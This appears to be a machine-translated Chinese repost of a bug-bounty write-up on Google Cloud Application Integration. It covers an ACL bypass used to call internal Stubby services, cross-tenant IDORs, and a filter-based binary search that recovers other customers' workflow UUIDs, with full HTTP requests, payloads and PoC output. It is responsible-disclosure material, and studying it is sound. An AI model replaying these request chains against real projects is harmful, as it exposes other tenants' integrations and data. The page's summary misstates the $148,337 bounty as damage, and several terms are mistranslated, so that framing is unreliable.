StubZero:在GoogleCloud生产环境中造成148,337美元的远程代码执行损失

admin 2026-05-25 04:22:37 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档披露GoogleCloud生产环境中因调试端点泄露引发严重安全事件,攻击者通过cloudcrmipfrontend-pa.googleapis.com接口获取内部protobuf定义和工作流队列数据,最终实现远程代码执行造成14.8万美元损失。关键发现包括:CVE-2026-2031漏洞暴露内部API原型定义、工作流执行队列泄漏敏感业务数据、GenericStubbyTypedTask配置可能触发RCE。建议企业严格限制调试端点访问权限并强化生产环境身份验证机制。 综合评分: 87 文章分类: 漏洞分析,云安全,威胁情报,应急响应,WEB安全


任务的确切名称是GenericStubbyTypedTaskV2,甚至还有自己的图标:

尝试GenericStubbyTypedTask在应用程序集成上进行配置时返回错误,并显示了所需的字段:

{
  "error": {
    "code": 400,
    "message": "'Required input key serverSpec not present in task GenericStubbyTypedTaskImpl, task number 1.'",
    "status": "INVALID_ARGUMENT"
  }
}

重复上述步骤,每次查找缺失的键,都会发现serverSpec、serviceName和serviceMethod。这些参数同样适用于GenericStubbyTypedTaskV2。参考Ezequiel Pereira的protobuf 仓库以及我们在另一个发现文档中泄露的 GSLB 地址,我们将任务配置为调用/ServerStatus.GetServicesgslb :alkali-base:

有趣的是:Alkali 是谷歌的内部框架,谷歌员工可以使用它来快速搭建生产 API,最大限度地减少样板代码,但它往往存在很多安全问题。

HTTP/2 200 OK
Content-Type: application/json; charset=UTF-8

{"workflow": {"workflowId":&nbsp;"f91833bf-eacb-43ac-8490-099fef977e19",&nbsp;"name":&nbsp;"retest-test123",&nbsp;"taskConfigs": [{"taskName":&nbsp;"GenericStubbyTypedTaskV2",&nbsp;"taskNumber":&nbsp;"1",&nbsp;"parameters": {"response": {"key":&nbsp;"response",&nbsp;"value": {"stringValue":&nbsp;"$response$"},&nbsp;"dataType":&nbsp;"STRING_VALUE"},&nbsp;"serverSpec": {"key":&nbsp;"serverSpec",&nbsp;"value": {"stringValue":&nbsp;"gslb:alkali-base"},&nbsp;"dataType":&nbsp;"STRING_VALUE"},&nbsp;"serviceName": {"key":&nbsp;"serviceName",&nbsp;"value": {"stringValue":&nbsp;"ServerStatus"},&nbsp;"dataType":&nbsp;"STRING_VALUE"},&nbsp;"serviceMethod": {"key":&nbsp;"serviceMethod",&nbsp;"value": {"stringValue":&nbsp;"GetServices"},&nbsp;"dataType":&nbsp;"STRING_VALUE"}},&nbsp;"position": {"x":&nbsp;-716,&nbsp;"y":&nbsp;-445},&nbsp;"label":&nbsp;"Stubby Internal",&nbsp;"incomingEdgeCount":&nbsp;1,&nbsp;"taskType":&nbsp;"ASIS_TEMPLATE",&nbsp;"externalTaskType":&nbsp;"NORMAL_TASK"}],&nbsp;"triggerConfigs": [{"startTasks": [{"taskNumber":&nbsp;"1"}],&nbsp;"properties": {"Trigger name":&nbsp;"my-api-trigger-123"},&nbsp;"triggerType":&nbsp;"API",&nbsp;"triggerNumber":&nbsp;"1",&nbsp;"enabledClients": ["default"],&nbsp;"triggerId":&nbsp;"api_trigger/my-api-trigger-123"}],&nbsp;"origin":&nbsp;"UI",&nbsp;"creatorEmail":&nbsp;"<REDACTED>",&nbsp;"createdTime":&nbsp;"2026-01-12T09:45:55.896951Z",&nbsp;"lastModifiedTime":&nbsp;"2026-01-12T09:45:55.896951Z",&nbsp;"status":&nbsp;"DRAFT",&nbsp;"snapshotNumber":&nbsp;"1",&nbsp;"tags": ["HEAD"],&nbsp;"lockedBy":&nbsp;"<REDACTED>",&nbsp;"lockedAtTime":&nbsp;"2026-01-12T09:45:55.896951Z",&nbsp;"lastModifierEmail":&nbsp;"<REDACTED>",&nbsp;"clientId":&nbsp;"default"}}

这里的一切都与应用程序集成惊人地相似——工作流结构、任务配置,甚至发布和运行流程。注意到”position”: {“x”: -716, “y”: -445}我们工作流中的坐标了吗?内部用户界面可能与应用程序集成的可视化工作流编辑器非常相似,我们实际上是在设置任务位置的坐标:

还记得之前阻止我发布内容的 ACL 问题吗?耸耸肩,我想到可以通过更新 ACL 来绕过它,更新内容时IP_EVENTBUS_WORKFLOWS使用攻击者控制的两个 Google 帐户的混淆 Gaia ID。

Request

POST/v1/integrationPlatform/auth:setAcl&nbsp;HTTP/2
Host: cloudcrmipfrontend-pa.clients6.google.com
Cookie: <redacted>
Authorization: <redacted>
Origin: https://console.cloud.google.com
X-Goog-Api-Key: AIzaSyBmtG6W8gM5Y6UxzUizxtaERwjmQZ0CCYE
Content-Type: application/json
Content-Length: 500

{"resourceInfo": {"resource":&nbsp;"IP_EVENTBUS_WORKFLOWS",&nbsp;"id":&nbsp;"retest-test123"},&nbsp;"acl": {"entries": [{"scope": {"obfuscatedGaiaId":&nbsp;"100029910836469267942"},&nbsp;"role":&nbsp;105}, {"scope": {"obfuscatedGaiaId":&nbsp;"113728935872649341310"},&nbsp;"role":&nbsp;105}]}}

Response

HTTP/2&nbsp;200&nbsp;OK
Content-Type: application/json; charset=UTF-8

{}

首先,我们使用第一个攻击者的 Google 帐户切换了发布工作流的请求:

POST /v1/integrationPlatform/workflowdeployment:toggleRequestToPublishWorkflow&nbsp;HTTP/2
Host:&nbsp;cloudcrmipfrontend-pa.clients6.google.com
...

{"workflowId":&nbsp;"f91833bf-eacb-43ac-8490-099fef977e19"}

最后,使用第二个攻击者帐户发布工作流程:

POST /v1/integrationPlatform/workflowdeployment:publishWorkflow&nbsp;HTTP/2
Host:&nbsp;cloudcrmipfrontend-pa.clients6.google.com
...

{"workflowId":&nbsp;"f91833bf-eacb-43ac-8490-099fef977e19"}

运行配置了工作流,GenericStubbyTypedTaskV2并将服务/方法设置为serverSpec,我们能够执行 Stubby 查询:gslb:alkali-base/ServerStatus.GetServices

...
{
&nbsp; &nbsp;&nbsp;"protoValue": {
&nbsp; &nbsp;&nbsp;"@type":&nbsp;"type.googleapis.com/rpc.ServiceList",
&nbsp; &nbsp;&nbsp;"service": [
&nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"name":&nbsp;"AlkaliBaseAccountService",
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"descriptor": {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"filename":&nbsp;"google/internal/alkali/base/v1/alkali_base_account_service.proto",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"name":&nbsp;"AlkaliBaseAccountService",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"method": [
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"name":&nbsp;"ListAccounts",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"argumentType":&nbsp;"google.internal.alkali.base.v1.ListAccountsRequest",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"resultType":&nbsp;"google.internal.alkali.base.v1.ListAccountsResponse",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"deadline":&nbsp;30,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"securityLevel":&nbsp;"none"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"name":&nbsp;"ListAccessibleAccounts",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"argumentType":&nbsp;"google.internal.alkali.base.v1.ListAccessibleAccountsRequest",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"resultType":&nbsp;"google.internal.alkali.base.v1.ListAccountsResponse",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"deadline":&nbsp;30,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"securityLevel":&nbsp;"none"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ...

随后,我们更新了最初的漏洞报告,使其具备了远程代码执行(RCE)能力。我们两人都无法独自完成这项工作,而且时机非常关键:在我们完成概念验证(PoC)后仅仅一个小时,修复程序就createDraftWorkflow完全生效了。如果再晚一点,这个远程代码执行能力就只能停留在理论层面了。话虽如此,在我们真正能够在谷歌服务器上执行代码之前,谷歌就阻止了我们的行动。

时间线(第一次 RCE)

2025年12月1日 – 向谷歌发送初步报告

2025-12-01 – Google 将报告分类为 P0/S0

2025-12-01 – 🎉漂亮!

2026年1月12日 – 已将远程代码执行升级情况告知谷歌安全团队

2026-01-12 – 更新报告,包含远程代码执行概念验证 (RCE PoC)。

2026年1月12日 – 谷歌升级了此报告

2026年1月16日 -专家组裁定奖励6万美元。裁决理由:这份报告质量卓越!漏洞类别为“Google Cloud 生产环境遭到入侵”。攻击者与受害者之间没有任何交互或关联。涉及默认的 Google Cloud 产品。

第二轮(3个月后)

你以为事情就此结束了?没那么简单。三个月后,我的模糊测试工具提示我公共应用程序集成产品的公共 API中存在一些 IDOR(不可识别错误) 。

事实证明,在整个 API 中,你可以在 URL 中引用自己的项目 ID,但引用其他人的 UUID:

GET/v1/projects/<your-project>/locations/us-central1/integrations/anythinghere/versions/<victim-uuid>&nbsp;HTTP/2
Host: integrations.googleapis.com
Authorization: Bearer <redacted>

API 会很乐意地返回受害者的资源,因为身份验证检查是根据您的项目 ID 进行的(您有权访问自己的项目),但是没有进行访问控制检查,以确定该 ID 是否真的与您的项目关联。

然而,仅凭这一点影响不大,因为这些是 UUIDv4。搜索空间太大,无法通过暴力破解有效获取(搜索空间为 10^36)。因此,我开始寻找任何可能泄露受害者资源 UUID 的方法。

那时我注意到了这个有趣的“测试用例”功能。文档中是这样描述的:

借助应用集成,您可以针对连接和管理 Google Cloud 服务及其他业务应用的复杂集成创建并运行多个测试用例。通过测试集成流程,您可以确保集成按预期运行。

有趣的是,当你查看前端加载测试用例的方式时,你会发现浏览器会发送如下请求:

POST/$rpc/google.cloud.integrations.v1alpha.TestCases/ListTestCases&nbsp;HTTP/2
Host: us-central1-integrations.clients6.google.com
Content-Type: application/x-protobuf

< RAW PROTOBUF DATA >

实际的请求负载是 protobuf 格式的,我已经在这里解码,以便您可以看到它的样子:

{
&nbsp;&nbsp;"1":&nbsp;"projects/eastern-camp-489414-j3/locations/us-central1/integrations/RestTaskTest/versions/631a0566-02fc-4dce-b319-25e2c68168f4",
&nbsp;&nbsp;"2":&nbsp;"workflow_id = 631a0566-02fc-4dce-b319-25e2c68168f4",
&nbsp;&nbsp;"6": {
&nbsp; &nbsp;&nbsp;"1": ["name",&nbsp;"display_name",&nbsp;"update_time",&nbsp;"client_id"]
&nbsp; }
}

字段1是父资源(我的项目,我的版本 UUID),字段6是响应字段掩码,字段2似乎workflow_id = 631a0566-02fc-4dce-b319-25e2c68168f4是某种过滤器。如果省略此字段,是否会返回所有工作流的测试用例?肯定不会……

2从6请求中删除字段:

{
&nbsp;&nbsp;"1":&nbsp;"projects/eastern-camp-489414-j3/locations/us-central1/integrations/RestTaskTest/versions/631a0566-02fc-4dce-b319-25e2c68168f4"
}

…收到的回复包含了来自其他所有 GCP 项目的测试用例:

{
&nbsp;&nbsp;"testCases": [
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp;&nbsp;"name":&nbsp;"projects/331540621401/locations/us-central1/integrations/my-draft-integration/versions/631a0566-02fc-4dce-b319-25e2c68168f4/testCases/b25fb963-792c-419d-a98b-eb930b2a29e3",
&nbsp; &nbsp; &nbsp;&nbsp;"displayName":&nbsp;"test",
&nbsp; &nbsp; &nbsp;&nbsp;"triggerId":&nbsp;"api_trigger/AI_bebbia_CreateWOSubs_API_1",
&nbsp; &nbsp; &nbsp;&nbsp;"testInputParameters": [
&nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"key":&nbsp;"InputData",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"dataType":&nbsp;"JSON_VALUE",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"defaultValue": {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"jsonValue":&nbsp;"{\n \"OldSKU\": \"300465\",\n \"orderid\": \"7fe9ffa9-d122-484b-96df-9ef85cd3aa8a\",\n ...\n}"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"displayName":&nbsp;"InputData"
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; ],
&nbsp; &nbsp; &nbsp;&nbsp;"creatorEmail":&nbsp;"[email protected]",
&nbsp; &nbsp; &nbsp; ...
&nbsp; &nbsp; }
&nbsp; ]
}

仔细观察响应,您可能会发现一些异常。versions/…每个结果中的段都是 <version> 631a0566-02fc-4dce-b319-25e2c68168f4。这是我的版本 UUID,也就是我在 <field> 字段中发送的那个1。API 直接将它反映到每个测试用例的 <testcase> 中name,即使这些测试用例属于不同项目中完全不同的集成。

因此,虽然我现在拥有了每个 GCP 项目中的每个测试用例 ID,以及它们的集成名称和创建者电子邮件,但我之前需要输入到 IDOR 中的实际受害者版本 UUID 却在响应中无处可寻。

也就是说,仅凭测试用例 ID 就已经产生了相当大的影响。应用程序集成公开了一个:executeTest端点,可以通过 ID 运行测试用例,而实际上并不需要受害者的真实版本 UUID。

Request

POST/v1/projects/<your-project>/locations/us-central1/integrations/x/versions/-/testCases/035c64d6-ea04-436d-8674-862f51191953:executeTest&nbsp;HTTP/2
Host: integrations.googleapis.com
Authorization: Bearer <redacted>
Content-Length: 0

Response

{
&nbsp;&nbsp;"executionId":&nbsp;"5d49abed-7692-47aa-8660-5cdaea92d2af",
"outputParameters": {
&nbsp; &nbsp;&nbsp;"output":&nbsp;3
&nbsp; },
"assertionResults": [
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp;&nbsp;"assertion": {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"assertionStrategy":&nbsp;"ASSERT_EQUALS",
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"parameter": {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"key":&nbsp;"output",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"value": {&nbsp;"intValue":&nbsp;"3"&nbsp;}
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp;&nbsp;"taskNumber":&nbsp;"1",
&nbsp; &nbsp; &nbsp;&nbsp;"taskName":&nbsp;"JsonnetMapperTask",
&nbsp; &nbsp; &nbsp;&nbsp;"status":&nbsp;"SUCCEEDED"
&nbsp; &nbsp; }
&nbsp; ],
"testExecutionState":&nbsp;"PASSED"
}

因此,我已经可以触发任意测试用例在任何受害者的环境中执行,但真正的目标仍然是通过之前的 IDOR 访问受害者的整个集成,为此我需要实际的版本 UUID。

我在这里卡了一会儿。直到我突然想到一个办法。这个filter参数(字段2)显然支持比较运算符,比如 && =。如果它也支持 &&>和 &&呢<=?如果支持,我可以锚定一个已知的测试用例 ID,然后对workflow_id字段进行二分查找,一次查找一个十六进制字符,直到重建出完整的 UUID:

id&nbsp;=&nbsp;"<known-tc-uuid>"&nbsp;AND workflow_id >&nbsp;"<low>"&nbsp;AND workflow_id <=&nbsp;"<high>"

每次请求都会缩小范围。如果测试用例仍然出现在响应中,则真实值workflow_id在范围内(low, high];否则,它超出范围。理论上,一个 32 位十六进制 UUID 大约需要 128 次请求才能确定。

我让Claude写了一个概念验证程序,结果第一次就完美运行了:

$ python extract_by_id.py --token&nbsp;"<redacted>"&nbsp;--project&nbsp;273897706296&nbsp;--location&nbsp;"us-central1"&nbsp;--tc-id&nbsp;"60413427-4d07-4c36-bce0-66cfcdd81879"
Test&nbsp;case:&nbsp;60413427-4d07-4c36-bce0-66cfcdd81879
Parent: projects/273897706296/locations/us-central1/integrations/x/versions/-

Verified: target found. Starting binary search...

&nbsp; [&nbsp;4/32] fb1d0000-0000-0000-0000-000000000000&nbsp; (16&nbsp;reqs)
&nbsp; [&nbsp;8/32] fb1dc5f3-0000-0000-0000-000000000000&nbsp; (32&nbsp;reqs)
&nbsp; [12/32] fb1dc5f3-0380-0000-0000-000000000000&nbsp; (48&nbsp;reqs)
&nbsp; [16/32] fb1dc5f3-0380-491c-0000-000000000000&nbsp; (64&nbsp;reqs)
&nbsp; [20/32] fb1dc5f3-0380-491c-af90-000000000000&nbsp; (80&nbsp;reqs)
&nbsp; [24/32] fb1dc5f3-0380-491c-af90-5a1400000000 (96&nbsp;reqs)
&nbsp; [28/32] fb1dc5f3-0380-491c-af90-5a141aa00000 (112&nbsp;reqs)
&nbsp; [32/32] fb1dc5f3-0380-491c-af90-5a141aa02f56 (128&nbsp;reqs)

workflow_id: fb1dc5f3-0380-491c-af90-5a141aa02f56
Total requests:&nbsp;128

我现在获得了受害者的实际集成版本 UUID。将其与GetIntegrationVersionIDOR 链接起来:

GET/v1/projects/<your-project>/locations/us-central1/integrations/x/versions/fb1dc5f3-0380-491c-af90-5a141aa02f56&nbsp;HTTP/2
Host: integrations.googleapis.com
Authorization: Bearer <redacted>

它返回了属于另一个项目的完整集成,包括每个触发器配置、任务配置、参数绑定和创建者电子邮件:

{
&nbsp;&nbsp;"name":&nbsp;"projects/<your-project>/locations/us-central1/integrations/TestCasePOC5/versions/fb1dc5f3-0380-491c-af90-5a141aa02f56",
"state":&nbsp;"DRAFT",
"triggerConfigs": [
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp;&nbsp;"label":&nbsp;"API Trigger",
&nbsp; &nbsp; &nbsp;&nbsp;"triggerType":&nbsp;"API",
&nbsp; &nbsp; &nbsp;&nbsp;"triggerId":&nbsp;"api_trigger/TestCasePOC5_API_1"
&nbsp; &nbsp; }
&nbsp; ],
"taskConfigs": [
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp;&nbsp;"task":&nbsp;"GenericRestV2Task",
&nbsp; &nbsp; &nbsp;&nbsp;"displayName":&nbsp;"Call REST Endpoint",
&nbsp; &nbsp; &nbsp;&nbsp;"parameters": {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"url": {&nbsp;"key":&nbsp;"url",&nbsp;"value": {&nbsp;"stringValue":&nbsp;"$url$"&nbsp;} },
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"httpMethod": {&nbsp;"key":&nbsp;"httpMethod",&nbsp;"value": {&nbsp;"stringValue":&nbsp;"POST"&nbsp;} },
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"authConfigName": {&nbsp;"key":&nbsp;"authConfigName",&nbsp;"value": {&nbsp;"stringValue":&nbsp;"authprofiletest"&nbsp;} }
&nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
&nbsp; ],
&nbsp; ...
"integrationParameters": [
&nbsp; &nbsp; {&nbsp;"key":&nbsp;"url",&nbsp;"dataType":&nbsp;"STRING_VALUE",&nbsp;"defaultValue": {&nbsp;"stringValue":&nbsp;"https://example.com"&nbsp;} }
&nbsp; ],
"lastModifierEmail":&nbsp;"[email protected]",
"createTime":&nbsp;"2026-03-22T11:10:30.087Z"
}

如果你还记得最初的测试用例,就会发现其中相当一部分creatorEmail字段以 . 结尾@google.com。所以,谷歌内部有很多团队在这个平台上运行着他们自己的集成。我接下来很自然地想到,如果这些谷歌内部集成中已经配置了GenericStubbyTypedTaskV2.(或其他仅限内部使用的任务,例如PythonTask. CreateBuganizerIssueTask、. 等)怎么办?任何一种情况都会使这种跨租户链变得更加糟糕。

但我实际上无法进行核查。这样做意味着要遍历真实的客户数据,这会违反 Google VRP 的规则,所以我把所有数据打包后,把报告发送给了 Cloud VRP。

配置内部任务类型

但这让我开始思考,究竟是什么阻止了我创建自己的内部任务类型集成呢?

如果我尝试创建一个内部任务:

POST/v1/projects/273897706296/locations/us-central1/integrations/ExampleTest1234/versions&nbsp;HTTP/2
Host: integrations.googleapis.com
Authorization: Bearer <redacted>
Content-Length: 1033

{
"taskConfigsInternal": [
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp;&nbsp;"taskNumber":&nbsp;"1",
&nbsp; &nbsp; &nbsp;&nbsp;"taskName":&nbsp;"PythonTask",
&nbsp; &nbsp; &nbsp; ...
&nbsp; &nbsp; &nbsp;&nbsp;"taskEntity": {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"uiConfig": {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"taskUiModuleConfigs": [
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"moduleId":&nbsp;"RPC_TYPED"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ]
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp;&nbsp;"taskType":&nbsp;"ASIS_TEMPLATE",
&nbsp; &nbsp; &nbsp;&nbsp;"parameters": {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"TEST": {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"key":&nbsp;"test",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"value": {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"stringValue":&nbsp;"test"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
&nbsp; ],
&nbsp; ...
}

这实际上可行:

HTTP/2&nbsp;200&nbsp;OK
Content-Type: application/json; charset=UTF-8

{
&nbsp;&nbsp;"name":&nbsp;"projects/273897706296/locations/us-central1/integrations/ExampleTest1234/versions/304adc1b-6d09-4b2d-a070-db48b821879a",
"origin":&nbsp;"UI",
"snapshotNumber":&nbsp;"1",
"updateTime":&nbsp;"2026-05-01T07:30:07.182512Z",
"lockHolder":&nbsp;"[email protected]",
"createTime":&nbsp;"2026-05-01T07:30:07.182512Z",
"lastModifierEmail":&nbsp;"[email protected]",
"state":&nbsp;"DRAFT",
&nbsp; ...
}

但是当我尝试实际执行该工作流程时,却超时并出现以下错误:

Execution timeout, cancelled graph execution. The default timeout&nbsp;is2minforsync&nbsp;execution&nbsp;and10minfor&nbsp;async execution. If you are using&nbsp;sync&nbsp;execution, please&nbsp;try&nbsp;async execution such&nbsp;as&nbsp;the Schedule API&nbsp;or&nbsp;Cloud Scheduler trigger. If you are already using async execution, please&nbsp;trytobreak&nbsp;down your integration into smaller pieces&nbsp;and&nbsp;chain them in the async way. Note any variable contains large data will also failed&nbsp;to&nbsp;upload&nbsp;to&nbsp;GCS. error/code:&nbsp;'common_error_code: SYNC_EVENTBUS_EXECUTION_TIMEOUT''

然而,我注意到了一些奇怪的事情。当我配置PythonTask(其中一项内部任务)、创建测试用例并执行该测试用例时,前端并没有超时,而是出现了这个可疑的错误:

{
&nbsp;&nbsp;"1":&nbsp;9,
&nbsp;&nbsp;"2":&nbsp;"java.io.IOException: No space left on device"
}

这是执行后端的一个真实异常,并非超时。无论测试用例功能运行在哪条代码路径上,它都顺利地执行到了足够深的层级,最终在实际磁盘 I/O 操作时失败。尝试同样的方法,GenericStubbyTypedTaskV2我得到了一个信息量较少但同样可疑的响应:

Failed to&nbsp;executetest&nbsp;case.&nbsp;Error:&nbsp;Unknown&nbsp;Error.

我查看了工作流执行日志,这才发现了实际的错误:

{&nbsp;"message":&nbsp;"com.google.security.authentication.common.CredentialsUnsupportedException: UberMint verification is disabled. You can enable it in AuthenticationMethods; RpcSecurityPolicy http://rpcsp/p/4aPF9XD3vQ_2KYxu2J59zxrLEzDa2CDMRzIYnrADC4w ",&nbsp;"code":&nbsp;500&nbsp;}

这非常可疑。我肯定有所察觉。点击:

GET /v1/projects/<project>/locations/us-west1/integrations/ExampleTest1234:1/executions/id:download
Host:&nbsp;integrations.googleapis.com

可以获取完整的堆栈跟踪信息:

com.google.enterprise.crm.exceptions.IpCanonicalCodeException: com.google.enterprise.crm.eventbus.testcase.task.mock.MockExecutionFailureException: com.google.net.rpc3.client.RpcClientException: <eye3 title='/EventbusStubbyCallerService.ExecuteStubbyCall, UNAUTHENTICATED'/> APPLICATION_ERROR;enterprise.crm.eventbus.stubby/EventbusStubbyCallerService.ExecuteStubbyCall;com.google.security.authentication.common.CredentialsUnsupportedException: UberMint verification&nbsp;is&nbsp;disabled. You can enable it&nbsp;in&nbsp;AuthenticationMethods; RpcSecurityPolicy http://rpcsp/p/4aPF9XD3vQ_2KYxu2J59zxrLEzDa2CDMRzIYnrADC4w ;AppErrorCode=16;StartTimeMs=1774319566778;unknown;ResFormat=uncompressed;ServerTimeSec=0.00194812;LogBytes=256;FailFast;EffSecLevel=none;ReqFormat=uncompressed;ReqID=bea3d76b582d8a4;GlobalID=0;Server=[2002:a05:6670:4003:b0:ced:80ad:4c54]:4001 Code: FAILED_PRECONDITION
&nbsp; at app//com.google.enterprise.crm.platform.eventbus.v3.EventParametersUtil.serialize(EventParametersUtil.java:744)
&nbsp; at app//com.google.enterprise.crm.platform.eventbus.v3.EventParametersUtil.serialize(EventParametersUtil.java:725)
&nbsp; at app//com.google.enterprise.crm.platform.eventbus.v3.EventParametersUtil.toParameterValueType(EventParametersUtil.java:654)
&nbsp; at app//com.google.enterprise.crm.platform.eventbus.v3.EventParametersUtil.lambda$addEventParametersToEventMessage$0(EventParametersUtil.java:475)
&nbsp; at /[email protected]/java.util.stream.ReferencePipeline$3$1.accept(Unknown Source)
&nbsp; ...

这清楚地表明,我们的变量被直接接入了ExecuteStubbyCallRequest后端。根据调整参数值时生成的堆栈跟踪信息,我猜测后端代码大致如下:

GenericStubbyTypedTaskV2.buildRequest():
&nbsp; &nbsp;&nbsp;line219:&nbsp;setServerAddress(serverSpec) →&nbsp;ExecuteStubbyCallRequest.java:1123
&nbsp; &nbsp;&nbsp;line220:&nbsp;setServiceName(serviceName) →&nbsp;ExecuteStubbyCallRequest.java:1219
&nbsp; &nbsp;&nbsp;line221:&nbsp;setMethodName(serviceMethod) →&nbsp;ExecuteStubbyCallRequest.java:1313
&nbsp; &nbsp; ...

所以,或许我需要提供一些参数才能让它运行?问题在于,堆栈跟踪只帮我泄露了三个已知的参数:$1$2serverSpec和serviceName$3,serviceMethod但我无法通过这种方法找到更多信息。此外,谷歌将此类远程代码执行 (RCE) 漏洞视为安全事件,因此在继续操作之前,我已向谷歌安全团队申请了许可。他们很快回复了我,确认此漏洞可被利用,并建议我停止进一步测试。

已关注

关注

重播 分享 赞

关闭

观看更多

更多

退出全屏

切换到竖屏全屏退出全屏

Ots安全已关注

分享视频

,时长04:34

0/0

00:00/04:34

切换到横屏模式

继续播放

[ ]

进度条,百分之0

播放

00:00

/

04:34

04:34

倍速

全屏

倍速播放中

0.5倍 0.75倍 1.0倍 1.5倍 2.0倍

超清 流畅

 您的浏览器不支持 video 标签

继续观看

StubZero:在 Google Cloud 生产环境中造成 148,337 美元的远程代码执行损失

观看更多

转载

,

StubZero:在 Google Cloud 生产环境中造成 148,337 美元的远程代码执行损失

Ots安全已关注

分享点赞在看

已同步到看一看写下你的评论

视频详情

该报告很快被升级到P0/S0 级别,并获得了 🎉干得漂亮!。将近一个月后,该报告因“谷歌云生产环境遭到入侵”而获得75,000 美元的赏金,这是我迄今为止获得的最高单笔赏金。

根据我与一些谷歌员工的交流,我了解到云虚拟资源计划 (VRP) 表格下的基本远程代码执行 (RCE) 奖励大致分为三个等级:

  • 5万美元:相对非特权的生产用户访问权限
  • 7.5万美元:特权生产用户访问权限
  • 10万美元:谷歌云管理员

任何特定的远程代码执行 (RCE) 攻击究竟会造成多大程度的影响,完全取决于被攻破的生产环境身份可以直接访问到多少生产环境。显然,考虑到生产环境访问权限所对应的攻击面非常广阔,任何初始访问权限都极有可能用于提升权限。

谷歌对此事的具体原因含糊其辞,但似乎内部团队对这条链的调查发现,其对生产环境的影响比我所展示的还要大得多,这也是它最终被评为 7.5 万美元级别的原因。

时间线(第二次 RCE)

2026年3月21日 – 向谷歌发送初步报告

2026年3月23日 – Google 将报告分类为 P1/S1

2026年3月23日 – 已将远程代码执行升级情况告知谷歌安全团队

2026-03-23 – 🎉干得漂亮!报告已更新为 P0/S0

2026年4月28日 -专家组裁定赔偿75,000美元。裁定理由:漏洞类别为“Google Cloud生产环境遭到入侵”。攻击者与受害者之间没有任何交互或关联。涉及Google Cloud默认产品。

2026年5月6日 – 通知 Google GetIntegrationVersion RPC 仍然存在漏洞

2026年5月8日 -专家组裁定追加赔偿13,337美元。裁定理由:漏洞类别为“单服务权限提升 – 写入”。攻击者与受害者之间没有任何交互或关联。涉及默认的谷歌云产品。

END

公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址

排版 编辑 | Ots 小安

采集 翻译 | Ots Ai牛马

公众号 | AnQuan7 (Ots安全)


免责声明:

